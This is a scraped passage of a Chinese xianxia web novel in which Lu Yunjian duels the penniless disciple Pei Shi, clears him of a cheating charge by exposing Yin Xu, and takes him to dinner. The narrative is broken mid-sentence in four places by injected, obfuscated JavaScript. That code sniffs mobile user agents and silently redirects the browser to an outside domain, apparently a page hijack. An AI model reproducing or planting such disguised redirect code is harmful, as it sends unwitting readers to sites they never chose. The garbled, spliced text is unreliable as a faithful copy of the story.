不负所望,那名弟子虽没有灵力,身手却果真是众弟子中的佼佼者,而且正如陆云笺所料,他对胜者的奖励极为渴望,因此一路厮杀,杀至最后一局,虽然筋疲力尽,眸中的光却仍然亮得惊人。 他此时才十七岁,个子并不如四年后那般高挑,力道与身法也自然不如四年后,却仍狡捷过猴猿,勇剽若豹螭。与他对战的那名弟子看起来已有十八九岁,手中长剑一看便知是一件难得的宝物。 初时他似乎筋疲力尽,对方一剑袭来,他勉强抬剑格挡,往后退了几步,被抵至擂台边缘。 下方观战的弟子们一阵惊呼,陆云笺却知道,他是在蓄力,在等待时机。 眼看他被逼至绝路,抬剑格挡的手微微颤抖,就在众人以为最后一场就要这样近乎草率地快速结束时,他忽地咬牙发力,抵住他的那名弟子被斥出数尺,还未及众人反应,这名原本看似占据着压倒性优势的弟子就已经趴在了地上。 而他不知何时已经闪至那名弟子身后,藏青弟子袍猎猎飘摆,如同缓缓铺开夜色的天空,而他是那空中的鹰。 陆云笺不自觉地活动了一下手腕。 倒地的弟子再度爬了起来,陆云笺却看得出来,无论再打多久,胜负都已经定了。 陆云笺开始思考这名弟子与照灵骨的关联,后来又战了多少回合,战况如何,她都没太仔细看,直至最后那柄难得的宝剑碎成了四段,叮叮当当落了地,陆云笺才回过神来。 擂台上,是两名身着同样的藏青弟子袍的弟子,一高一矮,一立一跪。 立着的已经把他那把破旧磨损的入门弟子标配剑收了起来,单膝跪着的捂着胸口,微微抬头盯着另一人,毫不掩饰憎恶与不甘。 另一人却全不在意,喘了几口气,对主持赛事的长老说:“我赢了。”他说完这句话,还未转过头,余光就瞥见有一人飞身上了擂台,在他对面站定。 陆云笺微微笑着,抱拳对他道:“方才那一场着实精彩,不免也有些手痒,还请阁下多多指教。” 陆云笺并未参与比赛,平日里也不见得对这些赛事有多上心,此时却主动要与一名初阶弟子过招,实属罕见。 那名弟子当场就愣住了。 不止是他,台下诸位长老与众弟子也十分惊诧。 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307256|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云笺没有召出自己的武器,而是随手抽了一把初阶弟子的剑,一剑刺去,那名弟子下意识躲开,眼睛却仍一眨不眨,显然还未反应过来。 陆云笺道:“不接招?不敢,还是接不住?” 激将法对他果然十分有效。 那名弟子立刻缓过神来,重新抽出剑,摆开了架势。 这一场只打了不到一炷香的时间,一个未出全力,一个几近力竭,出招拆招却极为迅速,一个身法诡谲剑势凌厉,一个身姿敏捷剑法稳健,疾光迅影之间,竟一时分不出胜负。 台下弟子小声讨论着: “那人到底谁啊?平时怎么没见过?” “不是,他平时看上去也没这么……这么……” “这还是第一次看见陆小姐在不用灵力的情况下与人过招啊……” 铿然一声,两剑相抵,陆云笺还算轻松,但对面的弟子此前已经打过十几场,不免汗流浃背、体力不支,但仍咬着牙,死死抵住陆云笺的剑。 陆云笺很难如此酣畅淋漓与人比试一场,心情大好,笑问道:“你是哪位长老门下弟子,叫什么名字?”这些信息陆云笺先前在查验他身份的时候就已经看过一遍,但两人见了几面,她却还从未听他亲口介绍过。 那名弟子微一分神,手上力道松了一瞬,回过神来,又马上倾注全力。他全神贯注地盯着剑,看不出什么情绪:“……不曾拜师。” 陆云笺道:“那你叫什么名字?总不能没有名字。” 那名弟子垂了眸,视线从两剑相接处移到了自己手腕:“小人贱名……不足挂齿。” 尚未及他反应过来,陆云笺忽地收了剑,笑道:“裴世。好的,我记住了。” 那名弟子没收住力,一个踉跄,待回神抬头望去时,陆云笺早已下了擂台,飘然行远了。 陆明周刚处理完门派事务,自中孚殿下来,想看看战况,半道就被刚下擂台的陆云笺截住了。 陆明周无奈笑道:“方才在远处看见有人正在擂台上比试,莫不是你?” 陆云笺道:“是啊,和我打的是那个第四名。他身手真不错,我在下面看了半天,看得手痒,就上台了。我试了他一遭,当真毫无灵力,全凭身手。” 说着,她又对陆明周道:“无牵无挂,身手又好,怎么样,拉去哀牢练练?” 陆明周笑着摇了摇头,目光也转向了仍旧立在擂台上的那名弟子。 此后几天,陆云笺得了命令去查探某地妖魔异动,陆明周则忙于查阅近年妖魔异动记录卷宗,一时间都没顾得上这场擂台比试,后续都交由主事长老负责。 陆云笺回到云间世,第一件事就是去问此事后续,得到的回复却是: 先前那场擂台赛,裴世疑似采用了舞弊手段,主事长老便依众人请求令裴世与众弟子重新比试,裴世果真落败,主事长老念其乃是初犯,只罚了八十杖。 据主事长老所说,这原也不是什么大事,这几天重新比试完,得了公平公正的结果,便着手列出需予以嘉奖的弟子名单,待整理完便会送与陆明周过目,说明情况,至于重新开展的比试,便不需惊动陆少主与陆小姐了。 陆云笺冷笑道:“这擂台赛是我哥和我主办,什么比试是不需提前知会我们一声的?” 前来答话的弟子垂着头,没有说话。 陆云笺继续问:“那这个新的魁首是谁?” “是……是尹旭。” 陆云笺笑里的冷意更甚:“他啊。” 她站起身,道:“主事长老列的单子可是已经递上去了?若是没有,叫他老人家先等一等,恐怕还需当堂对质呢。”没等弟子回答,她便径自推门离开,准备去寻陆明周。 绕过几片林子,路过演武场时,却瞥见演武场旁的石桥上坐了个人,正愤愤地朝着池中扔石子。 74. 陈昭言 那名弟子与前几日所见没什么差别,仍是冷冷淡淡的神色,不见什么情绪。 他身上穿的仍旧是那件洗得褪了色的弟子袍,也或许并不是那一件,而是他每一件弟子袍都已经被洗得褪色。细看还会发现这弟子服其实不那么合身,各处布料都绷得很紧,没被束住的衣摆等处就有些短得可怜。 云间世的弟子服都是要弟子自己掏钱统一定制的,少年人长得快,常常一年便要定做一套新的,能进云间世的绝大多数弟子都无需担心什么吃穿用度,这样一项大花销便也无人在意。 走得更近些,陆云笺才发现灰蓝并不是他的发带原本的颜色,想来是与弟子服配套的藏青,从入门那天用到现在,洗了太多遍,褪成了灰蓝。 陆云笺忽地想起来,因着外祖父他们意外过世,母亲在世时常穿白衣,若是要干活,白衣易脏,便换了灰蓝的粗布衣裳,只有两件换着穿,日复一日地洗,洗成了灰不灰蓝不蓝的浅色。 不过母亲会在补丁上绣燕子或者木梨花,这名弟子却没有那么幸运,他衣上的补丁针脚很是笨拙粗糙,一看就是他自己补的,也一看就知道他有些笨手笨脚,针线活学得不太好。 陆云笺的心底久违地泛起了一丝苦涩。苦涩初时很淡,后来慢慢铺开,后知后觉出来滋味时,已然很浓,无法忽视。 先前的怒气似乎也被遮盖了。 陆云笺走近了,发现他坐在桥栏上,往池子里扔石头,居然是在砸鱼。 手法之准,一击毙命。 陆云笺忽地觉得那苦涩更甚,又觉得有些好笑,于是走上前,勉强笑道:“鱼又没惹你,砸它们作甚?” 裴世蓦地抬头,似乎这才惊觉有人靠近,立刻跳下桥栏,似是慌忙又似是尴尬地把手里石子一扔,看了陆云笺一眼,转头便走。 走了几步,甚至加快步伐跑了起来。 陆云笺追了几步,闪身拦住他:“怎么不理人?你一个人么?” 裴世低着头没有看她,半晌才慢吞吞吐出一句:“没有人理我。” 陆云笺打量他几眼,一时间竟看不出更多的愤怒不甘或是别的什么,他就那么淡淡的,仿佛早已习惯成自然。 陆云笺便扯出一个更灿烂的笑容:“巧得很,我在这里也是没人理,没人可说话的。” 裴世抬头看着她,眼里是显而易见的难以置信。 陆云笺没有在意他的眼神,看着那张清秀干净却没有太多波澜的脸,忽然说:“我看你长得这么好看,怎么老是板着一张脸,不说话也没表情,多不好。你应该多笑笑,笑起来更好看。你笑一笑呗。” 裴世没有笑,甚至还状似惊恐地倒退了一步。 陆云笺往前走,他就往后退,退着退着,居然越过桥栏一头栽进了池子里。 陆云笺:“?” 她百思不得其解。 难不成方才她那几句话很像登徒浪子,给人家吓着了?? 裴世不会凫水,在池子里扑腾半晌,陆云笺把他捞上来,看他黯然的模样,忽然觉得他很像一只落了水的鹌鹑,一时没忍住,笑了一声。 裴世顾不得擦衣服,道了声“多谢陆小姐相救”,转身又要跑。 陆云笺不敢再追,只喊了一句:“擂台赛一事我会查清楚,还你一个公道。今日酉时,请往中孚殿当堂对质。” 落水的鹌鹑没再跑,他顿在原地,静默许久,而后侧过头:“擂台一事,是弟子徇私舞弊,愧对仙门。” 陆云笺上前几步,道:“你怕了吗?那八十杖,让你不敢反抗一句?” “……” 陆云笺从怀中掏出一个小药瓶,远远抛给裴世。 裴世抬手接住,小药瓶还带着陆云笺怀中的余温,他捧着那小药瓶,抬起头:“陆小姐为何要帮我?” 陆云笺道:“一来呢,这尹旭我也略有耳闻,早便看他不顺眼了,仗着自己伯父是大长老,四处耀武扬威?他怕是忘了,云间世到底还是姓陆,不是姓尹。这二来呢,你的身手我也算了解,你我打成平手,说尹旭赢了你,我岂不是很没面子?” “可那回比试分明是……” “分明是我有意放水?”陆云笺微微一笑,拾起裴世丢在桥栏边的石子,轻轻巧巧朝着池中一掷,激起串串涟漪,“你比了十几场,铁打的身体也该累了,若非如此,怎算得上公平?” “……” 陆云笺将目光重新移到裴世身上,笑道:“第三呢,我觉得你本事很不错,所以想跟你交个朋友。朋友受了委屈,难道不应该讨个公道?” 裴世抬眼看着她,指尖摩挲着药瓶光滑的瓶口:“……朋友?” 时至酉时,金鸦西沉,霞光万丈。 书院放了课,裴世揣着小药瓶,犹豫片刻,还是往中孚殿走去。 其实他自愈能力很强,挨的那八十杖,虽然没用什么药,但没几天已经好了大半,用不着陆云笺给他的上等药品,但他还是把那只小药瓶揣在怀里,悉心照料着。 中孚殿里已经站了好些人。 裴世迈过殿门,垂着眼眸,看起来很恭顺地一一行了礼。 大长老是个年近古稀的老头,一手背在身后,另一手抚着花白的胡须,看起来像个迂腐又古板的老书生。 他从始至终没有看裴世一眼,待裴世行完礼,他冷冷开口:“擂台之事已经定下了结果,有诸位长老评议,众弟子见证,不知少主与陆小姐唤老夫来,是有何还需再议的?” 陆云笺道:“的确是有诸位长老与众弟子见证,不过少主与我主办了这场赛事,却对这加试的一场全然不知,所以请诸位前来,让我们了解一下情况。”说着转向殿中立着的另一名弟子,“可否详细讲讲他——” 她顿了一下,却没有将目光投向裴世,而是继续道:“他是如何舞弊的?” 尹旭是个膀大腰圆的胖子,此时听陆云笺发问,丝毫不慌,只从怀中拿出一只锦袋交给陆云笺:“弟子之所以知道他舞弊,是因为弟子身边一直带着家族所特制的衍神华息丸,服用后短日内可功力大增。锦袋中的衍神华息丸原本有五颗,弟子偶然发现少了一颗,一查之下,查出来是裴世所盗,便立刻将此事报给了主事长老。” 陆云笺瞥了一眼那锦袋里装着的四颗油光发亮的黑色药丸,将目光投向裴世。 她原本的意思是,既然是“对质”,那裴世也得对上一对,免得旁人说她偏袒得太过明显。 但裴世接住了她的目光,却显然没领会她的意思。 他以为陆云笺听信了尹旭的胡说八道,对视一瞬便收回目光,垂下眼眸,道:“我不知道什么眼……乱七八糟的丸,也没有见过这个锦袋,更没有偷盗。” 陆明周道:“你可有证据?” 裴世道:“……没有。” 一旁的尹旭冷笑道:“我有证据。服用衍神华息丸后,短时内虽可功力大增,但无论是灵力还是全身经脉都会出现一定的紊乱之象。少主精通医理,可去探一探他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314059|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脉,就知道弟子所言是否属实了。” 陆明周闻言为裴世把了脉,似乎微有惊讶:“……确实如你所言。” 大长老道:“既然少主与陆小姐亲查了此事,是否可有个了结了?” 陆云笺却道:“脉象紊乱,焉知是不是被暂时封住了功力?” 大长老道:“封印功力之后脉象平静偏弱,岂会紊乱?陆小姐若是有心偏袒,也不该歪曲事实。” 陆云笺背着手,点点头:“我的确不怎么通医理。不过,我知道尹家有一独门奇法,专门对付人的经脉。” 尹旭面上笑容不坠,背上却隐隐起了一层汗。 陆云笺继续道:“我不通医理,就不动手了。哥,你点他的列缺、曲池、心俞几处穴位,看看脉象是不是就没那么乱了?” 陆明周依言照做:“的确如此。” 陆云笺道:“常见的封住经脉的方法,一般是起于曲池止于列缺,可以短暂封住人的功力,脉象会变弱。尹家封住经脉的手法却不同,多了几步,其中一步就是要以银针刺心俞穴,直刺一寸。要动哪几处穴位,怎么动又怎么解,这是尹家秘法,我并不大清楚。但是人家分明是被封住了经脉,却被说成是盗了衍神华息丸,导致短时内功力大增,如此岂非颠倒黑白?” 大长老还欲再论,尹旭却脸色苍白、冷汗涔涔,先一步跪倒在地。 众人都略有些意外,却有两人跨过大殿门,走在前头的老者衣袂飘飘,宛如画中吴带当风、曹衣出水的仙翁。 裴世动作最快,立即行礼:“天玑长老。” 天玑长老后头跟着个看上去愣头愣脑的弟子,正是贺江年。贺江年此时还未学成出师,穿的仍是云间世统一的藏青弟子袍,显得尤为青涩,跟在长老后面悄悄地朝裴世挥手:“裴世!” 裴世立马把头别开了。 贺江年毫不介意,往大殿里看去,却看到尹旭跪在地上,一时惊道:“师兄,你怎么……”说着眼睛又瞥到冷着脸站在一旁的大长老,当即又缩了半截,“大长老。” 听见贺江年唤他,尹旭似乎终于缓过神来,头也不敢抬,只道:“……师尊。” 天玑长老一拂袍袖,道:“若非我此次赶回来,你是不是还打算像以往一样隐瞒于我?你行如此苟且之事,我天玑座下,没有你这个徒弟。” 尹旭猛地抬起头:“师尊!” 大长老道:“天玑此言过重,徇私舞弊,按照门规,若是初犯,应杖责二百以示惩戒与警告。” 天玑长老常年在外云游,以洒脱豁达闻名,此时却神色冷肃,道:“大长老此言差矣,逆徒所犯下的岂止是徇私舞弊?为一己私利戕害同门,常年欺压同门、欺瞒师长,依云间世门规,当如何处置?” 一时默然。 云间世几千条门规,诸如不得酗酒、不得斗殴等等倒是管得严,但到了“欺压戕害同门”这一条,却不太有人以它来兴师问罪。 云间世的弟子多是仙门世家子弟,再不济也身出富商巨贾,否则在云间世待上一段,无论是课业、费用还是修炼,哪一样都跟不上。既然大多数人出身都大差不差,又各自有人照拂,那么就不会有什么“欺压戕害同门”之事。 再者说,什么叫“欺压戕害同门”?是打一巴掌,是踹一脚,还是非得闹出人命?全凭口舌。因此只要不出重要的人命,云间世一般也不太插手这种事。 陆云笺正欲接话,天玑长老却继续道:“公之于众,逐出师门。” 75. 砾间刃 尹旭脸上最后一点血色也退得干干净净。 他咬着牙,向前膝行几步:“弟子知错,不敢再犯。求师尊宽恕,求……求叔父网开一面。” 天玑长老闻言却皱眉,似乎很是恶心这个称呼,抬眼瞧见大长老正面色不善地看着自己,便冷声回道:“若是觉得不公,大可等尊主七日闭关结束,亲自主持公道。” 尹旭跪伏在地,涕泪俱下,拉住天玑长老的袍角:“叔父,求求您了,我父亲走得早,我在这世上再也没有别的亲人,只有伯父与叔父能照拂于我……” 天玑长老正是大长老的胞弟,只是二人素来不睦,大长老性情冷肃,门下弟子稀少,自参与云间世诸多事务的决策之后,便再也没有收过弟子。天玑长老为人则洒脱随意,从不过问门派诸事,一心只在为弟子教学和云游天下上。 即便是在大长老不善的注视下,天玑长老仍是后撤几步,将袍角从尹旭手中抽回,厉声道:“你犯下大错,居然还求我包庇于你?!”说着转身便要走。 贺江年从没见过师父如此肃然的模样,一时也有些害怕,他虽与尹旭不太相熟,却也不忍看到师兄就这么被逐出师门,于是唤道:“师尊……” 天玑长老恨铁不成钢地转头瞪了他一眼,迈出大殿行远了。 贺江年被瞪得一缩,回头望了尹旭一眼,不敢再说话,忙跟上了师父。 大殿内几人静默片刻,大长老冷冷扫了众人一眼,也一拂袍袖向殿外行去。 尹旭见唯一一个后盾要走,忙连滚带爬地追上:“伯父!伯父!求您救救我!我真的只是……得了第一,往后定能得到尊主重视,能……我真的只是这么想的而已,我只是暂时封住了他的经脉,伯父,求您……” 大长老道:“行事不周,遇事则乱,你好自为之!”他说着冷笑一声,又朝大殿内瞥了一眼,“若执意保你,落人口实,怕是下次被逐出门派的都能是老夫了。” 尹旭蓦地收了手,跪坐在地,兀自失神。 殿门夹着灰蒙蒙的一片天,老鸦叫了几声,隐入阴沉沉的色彩。 尹旭被软禁至弟子房,等待后续查清诸事,再行惩戒。 送走这一行人,陆明周面上愁色又添几分,陆云笺道:“这几年姓尹的一堆人是越来越猖狂了,这次也算是借了裴世的事由,狠狠记了他们一笔。不过原本只想着对尹旭小施惩戒,却不想天玑长老毫不留情,竟要逐他出师门。” 陆明周扶额道:“父亲也早便有意整顿尹家,但无奈能协助云间世镇住神树下诸妖魔的宝剑在他们手里,不好闹得太僵。” 陆云笺道:“可大灾来临,神树动荡时,镇魔宝剑又在哪里?” 陆明周道:“当时你去寻大长老,他不是已经……” 陆云笺道:“我去寻他时,他的确已经死了,镇魔宝剑也不知所踪。可在那之前,他就称病不肯见人,恐怕就算他能活到神树动荡的时候,也不会愿意把宝剑交给我们。而且,当时我们查出,杀了大长老的正是尹旭,若要如此说,他尹家是否与妖魔有所勾结也未可知。哥,当初修真界动荡时,那么多双眼睛盯着云间世,都打着各自的鬼主意,只是强行被父亲压下了,可如今逆转时空,父亲的灵力受损,这尊主之位,终究还是你的。” “……” “云间世十二道长老都能参与门派事务,大长老更是十二道长老之首,我看他们各怀鬼胎,如今闹不得事也就罢了,可有朝一日,哥你做了尊主,他们恐怕就要来添堵了。父亲如今时常闭关修养,门派事务大多都交与你和十二道长老,不如早早立威,免得生事。” 陆明周的手隐在衣袖之下,隔着布料不自觉地摩挲着悬在腰间的令牌。 少主不可随意施令,因此这块令牌更像是身份象征,而不是权力象征。可终有一日,这令牌会变成掌门令,那时呼风唤雨,雷厉风行,无人敢不从。 他从出生,甚至或许从父亲与母亲成亲,第一次想到云间世掌门继任之人时,就已经背负了这个责任。 继任掌门,光复宗派。 陆明周闭了闭眼,道:“如今父亲与镜阳宗季宗主灵力受损,无津大师不便入世,下一步应当做什么?” 陆云笺道:“不妨派出部分弟子以下山试炼为由,探查各地是否有妖魔异动,提前准备。” 陆明周颔首:“如今回到了四年前,我们的灵力还远远不及四年之后,行事多有不便,还是先以探查为主,待到时机成熟,便联合地方各派建立阵法与结界以应对灾劫。不过无论是炼造法器还是打通时空,都还是需要照灵骨……” “裴世那边,我会多多留意。”陆云笺说着一顿,“不过他与照灵骨有没有关联,又到底是什么关联,恐怕一时半会儿探不出来。照灵骨既然散落四海各处,不如探查妖魔异动时也多多留意照灵骨。” 陆明周尚在凝眉沉思,陆云笺却忽觉呼吸一滞,脸色蓦地苍白了几分。 陆明周注意到她的变化,忙伸手去扶:“怎么了?” 陆云笺捂着心口,摆手道:“没事,我忘了我现在还不能完全压制破月的妖性,太久没去哀牢,忘了时间了。” 陆明周的手顿在半空,片刻后从怀中取出一只小药瓶:“……多加小心。” 陆云笺接过药瓶,就要踏出殿门,与外头渐暗的天色融为一体时,却忽然回过头,道:“哥,尹旭欺负人欺负惯了,这回吃了大亏,一定不会轻易放过裴世,还请……” 陆明周会意:“我尽量多留意。” 陆云笺便笑笑,转身踏入殿外渐沉的夜色。 照例前往哀牢训练十日,再回来时,云间世仍如往常一般平静,似乎没什么大事。 从哀牢回来,身上总有些洗也洗不掉的气息,陆云笺便没有走往常那条离流丹阁最近的路,而是拐去了较为偏僻的一片林子。如此一来不会遇上什么人,二来林子里灵气丰沛,可以掩盖身上的气息。 陆云笺将妖狼放出来透气,妖狼缩小体型后就像一只还不到她膝盖的犬,呼哧呼哧喘着气。陆云笺拍了拍它的脑袋,妖狼箭一般地冲出去,冲出数尺却又蓦地刹住,绕到她身后。 陆云笺抬起头,瞧见贯穿林子的小溪边,正蹲着一名弟子在浣洗衣服。 妖狼不喜欢这副样子被旁人看见,因此急得直拱陆云笺的手。 陆云笺抬手开阵把妖狼收了,正欲绕路,那名弟子却已经抬起了头,直直望着她所在的方向。 陆云笺便又转了道,将手背在身后,悠悠走了过去:“洗衣服呢?”话出口才发现,这弟子不是在洗衣服,而是在洗靴子,还是好几双弟子靴。 裴世将手头的活放下,道:“陆小姐。” 陆云笺听见这么个称呼,好不容易有的好心情又被糟蹋了,她摆手道:“我不喜欢这个称呼。我叫陆云笺,云朵的云,信笺的笺。你就叫我陆云笺。” 裴世似乎很犹豫,还没开口,陆云笺就指着泡在水里那一堆靴子道:“你有这么多靴子要洗?” 裴世的脸微有些红,显得很窘迫:“……不是我的。” “那是……”话说一半,陆云笺忽然反应过来,“那些弟子要你洗的?” 裴世道:“洗一双靴子可以得五银。” “……” 陆云笺终于明白,裴世无家世无亲友无钱两无灵力,是怎么在云间世待下去的了。除了脸皮厚、扛打、心理素质强,还需要各方面的努力。 陆云笺静了一会儿,道:“云间世吃穿用度的确昂贵得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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此时搜刮了半天,只得了些许薄银,于是又悻悻地把手放下:“我身上也没带什么钱,但是晚上请你吃顿饭还是不成问题的。你别洗了,与我下山吃饭去。” 裴世微微睁大眼睛,半晌才反应过来陆云笺是什么意思,道:“不行,我晚上还要去饭堂帮大娘洗菜打饭……” 陆云笺道:“你在那边打饭吗?我怎么没见过你?” 裴世道:“之前只是洗菜,大娘说我干得好,最近就让我帮着打饭了。洗菜得三银,打一日饭,可以得五银,而且等大家都吃完再吃饭,可以不用付钱。” “……今日我给你十银,就好好吃顿饭,如何?” “那等我把这些靴子洗完晾好,马上就好了。” “成吧。你住的弟子房在哪边?” 裴世便遥遥指了一个地方。 云间世的弟子们都是一人住一间,一处院子里大多有四间屋子。陆云笺鲜少去弟子们的住处,这回跟着裴世去了,越发觉得这些弟子房修得很不错,某些地方比流丹阁还要好。 裴世走到房门口,推开门,对陆云笺道:“陆小……” “……” “……外头夜晚风有些大,若是不介意,还请进来坐坐吧。” 陆云笺感受了一会儿毫无存在感的风,还是进了弟子房。 房间虽不算宽敞,但一人住也是绰绰有余。 裴世的东西很少,收拾得整洁,便愈发显得屋子里有些空。唯有床头、书桌上摆着叠成山的书册,在空空的屋子里很是突出。他拉开衣柜,里面居然只有一小格放的是叠得整整齐齐的衣物,其余全是书册,堆得满满当当。 陆云笺粗略扫了一眼,发现里头有几册自己常看的有关妖魔鬼怪的书,虽被压在一堆书下面,却仍能看出书页已经泛黄变皱,显然是经常翻阅的。 待裴世晾完靴子回来,陆云笺将目光自重重叠叠的书册上收回,问道:“裴世,你为什么入云间世?” 76. 敛光现 裴世停下收拾东西的手,抬眸看向陆云笺:“陆小姐为何忽然想起问这个?” 陆云笺道:“弟子拜入仙门,或是写拜师帖时,都要写自己进入门派是为了什么。虽说这里头不见得有多少可信的成分,但我还是好奇,你入云间世是为了什么?是为了斩妖除魔,匡扶正义?是为了声名远播,扬名立万?如果是为了这两条,应当不至于非要入云间世,也不至于非要留在云间世,即便处处不顺心?” 裴世静静摩挲着佩在腰间的剑,陆云笺一贯见到的恭顺神情渐渐消退,再抬眼时,他眸中一闪而过利剑出鞘般的亮光:“陆小姐可曾听说过鬼魈?” 陆云笺心中隐隐有了几分猜测,道:“鬼魈者,形伟逾丈,面若人而躯似兽。目聪耳敏,鼻舌灵察,遍体覆毛。独足反踵,臂长爪利,力逾千钧。今世存者,未及百数。性好幽隐,栖于山林,踪迹杳然,人难窥其形也。” 陆云笺说的正是《四海志异录》中关于鬼魈的一段描述,方才她看到裴世的衣柜里那一堆泛黄发皱的书,里头也正有这一本。 可鬼魈生性狡猾暴虐,众仙门都拿它头疼,裴世没有灵力,甚至连一件像样的武器都没有,怎么杀得动鬼魈? 陆云笺抬眼看他,等着他说下去。 裴世却把手从剑柄上移开,没再继续。半晌,他忽然问:“其实我一直很好奇,陆小姐在仙门中,所求的又是什么。” “我?” 陆云笺留在云间世,自然是为了学几分本事,诛杀妖邪,为母亲报仇,可这些显然是不必要对一名小弟子说的。 于是陆云笺半真半假地道:“我视世间所有妖魔邪祟为仇敌,所求诛杀务尽。” 如此折腾半天,天色渐晚,二人晃晃悠悠地下了山,到了山下小镇时,天幕已经彻底黑了下去。沿街亮起无数灯笼,与喧闹人声一起,勾勒出一幅热闹图景。 陆云笺道:“裴世,你在这镇子里有吃过什么好些的店吗?” 裴世道:“我不常下山,对镇子上的酒楼不太熟悉。” 二人行至一家挂满灯笼的小馆前,陆云笺指着匾额上的红漆大字“客满楼”,转头对裴世笑道:“这家酒楼据说很不错,想试试吗?” 裴世便点头,道:“都听……” “陆小姐”三个字还没出口,陆云笺已经迈进了酒楼,边走边道:“听贺江年说这家酒楼尤以川湘麻辣菜色出名,对了,贺江年你应该认得吧,上回在中孚殿,我看见你们打招呼了。” 裴世闭了闭眼,道:“……不认得。” 陆云笺拿过食单,往裴世面前一推:“虽说贺江年吵是吵了点,但人还不错,是个值得结交的朋友。” 裴世把食单又推到陆云笺面前:“我不了解这里的菜色,还是请陆小姐点吧。”说着似是不经意地问了句,“陆小姐与贺江年很熟吗?” 他大概不知道先前出门莫名其妙被拉鸟屎的始作俑者是贺江年,更不知道幕后之人是陆云笺,因此问得很平静。 陆云笺想起那桩事,有一瞬间不好意思,但随即觉得有些好笑,于是扯过食单,将笑掩盖过去:“还成吧,贺江年不是和所有人都挺熟?” 裴世便笑道:“那倒是。” 陆云笺随意在食单上勾画几道,小二接过食单看了一眼,道:“二位还未点酒水,小店有一样特色,叫做木梨酒,滋味甘甜清爽,最是适合与辣菜一起。” 陆云笺道:“木梨酒?” 小二道:“后院栽种了几株木梨花,小店便想出了用木梨花入酒的法子,木梨花香久久不散,醇香至极。” 陆云笺便问裴世:“你想喝吗?” 裴世摇头:“我没有喝过酒。” 陆云笺道:“我也没喝过,这酒醉人吗?” 小二惯会察言观色,道:“不醉人不醉人的,和自家酿的米酒也差不了太多。二位要来几两试试吗?” 陆云笺道:“那就来一斤吧。” 即便不知为何今晚客人并不多,这酒楼的厨子和小二仍未因此就怠惰下来,手脚很是麻利,不多时,几盘红艳艳的菜便被端了上来。 陆云笺用筷子指指摆在正中央的一盘红色:“辣子鸡丁。我最喜欢这个,不知这家做得怎么样。我也客气客气,第一筷子请你先下吧。” 裴世扫了一眼红彤彤的各样菜色,默默记在心里,然后抬起眼,看向陆云笺:“我再等等,等酒上来。” “等酒?”陆云笺用筷子随意敲了两下盘子边沿,而后迟疑道,“……你不吃辣?” 裴世道:“……只是想先尝尝木梨酒是什么味道。” 陆云笺还是狐疑地看着他。 裴世于是补了句:“先吃辣菜,怕待会儿尝不出酒的味道。” 陆云笺道:“好吧。那我也先等等酒。” 裴世暗自松了口气,为陆云笺没有把自己赶下饭桌而庆幸。然而下一刻他就听见陆云笺招手喊道:“小二,有哪些菜还没做么?换几个,你们这里什么菜不辣?” “……” 裴世似乎为了证明自己,当即夹了一大块辣子鸡丁送到嘴边,果不其然,这一口下去,咳得心肝脾肺齐齐震颤,眼泪都到了眼眶边。 拿着食单的小二和戳着食单的陆云笺都愣住了。 陆云笺愣了一会儿,反应过来,把附近没人的几桌的清茶都拿了过来,几壶清茶下去,裴世好歹像是缓过来了,没背过气去。 陆云笺等着他的呼吸平复下来,似乎是有些犹豫地问:“……裴世,你哪儿的人啊?” 裴世的嗓子还是哑的:“……临安那边。” “怪不得,我瞧你长得也像临安那边的人。” 临安虽是云间世的地界,但陆云笺并不曾去过。虽不曾去过,却无端觉得江南水乡养出来的人,相貌也应当是温和亲切的,裴世的相貌正符合她的这种想象。 陆云笺继续道:“可我记得你籍贯上写的是谭州?” “我父亲母亲原是怜生寺地界的人,逃荒去的临安,住在小村落里,一直不曾登记户籍。入门的时候云间世查不到我的籍贯,我便随意填了潭州。” 陆云笺闻言笑笑。 那么多个地方偏偏选了潭州,恐怕不是“随意”。 潭州离云间世近,云间世许多弟子都来自潭州,填潭州显得不太突出,又不会被当做所谓“外来人”,但又没有近到云间世随时可以查探的地步,可谓是卡在了一个好地方。 不过这些事没必要追究,陆云笺伸手将辣菜都揽到自己这边,道:“各有各的口味嘛,吃不来辣也不用勉强。” 裴世还欲开口说些什么,正在此时,木梨酒姗姗来迟,为了不破坏酒的清冽香气,木梨酒并没有像别的酒一样先温过一遍,因此倒了一杯捏在手里,是冰凉的触感。 陆云笺先客气地给裴世斟了一杯,倒酒时还没什么感觉,待到给自己斟一杯,送到唇边时,却是怔住了。 母亲最喜欢木梨花,常用的香料便是木梨,其实陆云笺有些嫌木梨花过浓的香气,但母亲身上的气息却是淡淡的清香,此时这一杯木梨酒凑在鼻尖,正是熟悉的气息。 按道理初次饮酒,总要先轻轻抿一口,陆云笺却在怔愣一瞬之后,仰头将杯中酒一饮而尽。 此时已经入秋,冰凉的酒灌入肺腑,感觉格外清晰。初时微苦,而后随着冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 